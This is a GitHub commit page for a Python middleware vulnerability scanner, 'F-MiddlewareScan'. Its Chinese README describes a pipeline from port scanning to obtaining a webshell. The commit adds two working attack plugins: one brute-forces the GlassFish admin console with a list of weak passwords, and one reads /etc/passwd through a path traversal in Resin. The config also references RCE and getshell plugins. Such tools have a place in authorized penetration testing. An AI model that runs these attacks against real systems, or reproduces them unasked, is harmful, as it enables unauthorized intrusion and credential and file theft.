Skip to content

Commit a56ab00

Browse files
author
wolf
committed
Merge remote-tracking branch 'origin/master'
2 parents 8518ae3 + 306c326 commit a56ab00

4 files changed

Lines changed: 64 additions & 2 deletions

File tree

README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# F-MiddlewareScan<br>
2+
A vulnerability detection scripts for middleware services<br>
3+
<br>
4+
实现针对中间件的自动化检测,端口探测->中间件识别->漏洞检测->获取webshell<br>
5+
参数说明<br>
6+
-h 必须输入的参数,支持ip(192.168.1.1),ip段(192.168.1),ip范围指定(192.168.1.1-192.168.1.254),ip列表文件(ip.ini),最多限制一次可扫描65535个IP。<br>
7+
-p 指定要扫描端口列表,多个端口使用,隔开 例如:7001,8080,9999。未指定即使用内置默认端口进行扫描(80,4848,7001,7002,8000,8001,8080,8081,8888,9999,9043,9080)<br>
8+
-m 指定线程数量 默认100线程<br>
9+
-t 指定HTTP请求超时时间,默认为10秒,端口扫描超时为值的1/2。<br>
10+
默认漏洞结果保存在 result.log中<br>
11+
<br>
12+
例子:<br>
13+
python F-MiddlewareScan.py -h 10.111.1<br>
14+
python F-MiddlewareScan.py -h 192.168.1.1-192.168.2.111<br>
15+
python F-MiddlewareScan.py -h 10.111.1.22 -p 80,7001,8080 -m 200 -t 6<br>
16+
<br>
17+
漏洞检测脚本以插件形式存在,可以自定义添加修改漏洞插件,存放于plugins目录,插件标准非常简单,只需对传入的IP,端口,超时进行操作,成功返回“YES|要打印出来的信息”即可。<br>
18+
新增插件需要在 plugin_config.ini配置文件中新增关联(多个漏洞插件以逗号隔开)。<br>
19+
中间件识别在discern_config.ini文件中配置(支持文件内容和header识别)<br>
20+
<br>

plugin_config.ini

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,5 +2,5 @@ tomcat|tomcat_crackpass
22
weblogic|weblogic_crackpass,weblogic_unrce
33
jboss|jboss_crackpass,jboss_unrce,jboss_info,jboss_head_getshell
44
axis|axis_crackpass,axis_config_read,axis_info
5-
glassfish|glassfish_crackpass,glassfish_fileread
6-
resin|resin_crackpass,resin_fileread,resin_fileread2,resin_fileread3,resin_fileread4
5+
glassfish|glassfish_crackpass,glassfish_crackpass1,glassfish_fileread
6+
resin|resin_crackpass,resin_fileread,resin_fileread2,resin_fileread3,resin_fileread4,resin_fileread5

plugins/glassfish_crackpass1.py

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#coding:utf-8
2+
#author:wolf@future-sec
3+
import urllib2
4+
def check(host,port,timeout):
5+
url = "http://%s:%d"%(host,int(port))
6+
error_i=0
7+
flag_list=['Just refresh the page... login will take over','GlassFish Console - Common Tasks','/resource/common/js/adminjsf.js">','Admin Console</title>','src="/homePage.jsf"','src="/header.jsf"','src="/index.jsf"','<title>Common Tasks</title>','title="Logout from GlassFish']
8+
user_list=['admin']
9+
pass_list=['admin','glassfish','password','adminadmin','123456','12345678','123456789','admin123','admin888','admin1','administrator','8888888','123123','manager','root']
10+
for user in user_list:
11+
for password in pass_list:
12+
try:
13+
PostStr='j_username=%s&j_password=%s&loginButton=Login&loginButton.DisabledHiddenField=true'%(user,password)
14+
request = urllib2.Request(url+'/j_security_check?loginButton=Login',PostStr)
15+
res = urllib2.urlopen(request,timeout=timeout)
16+
res_html = res.read()
17+
except urllib2.HTTPError,e:
18+
return 'NO'
19+
except urllib2.URLError,e:
20+
error_i+=1
21+
if error_i >= 3:
22+
return 'NO'
23+
continue
24+
for flag in flag_list:
25+
if flag in res_html:
26+
info = '%s/index.jsf GlassFish Weak password %s:%s'%(url,user,password)
27+
return 'YES|'+info
28+
return 'NO'

plugins/resin_fileread5.py

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
#coding:utf-8
2+
#author:wolf@future-sec
3+
import urllib2
4+
def check(host,port,timeout):
5+
url = "http://%s:%d"%(host,int(port))
6+
vul_url = url + "/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
7+
try:
8+
res_html = urllib2.urlopen(vul_url,timeout=timeout).read()
9+
except:
10+
return 'NO'
11+
if "root:" in res_html:
12+
info = vul_url + " Resin File Read Vul"
13+
return 'YES|'+info
14+
return 'NO'

0 commit comments

Comments
 (0)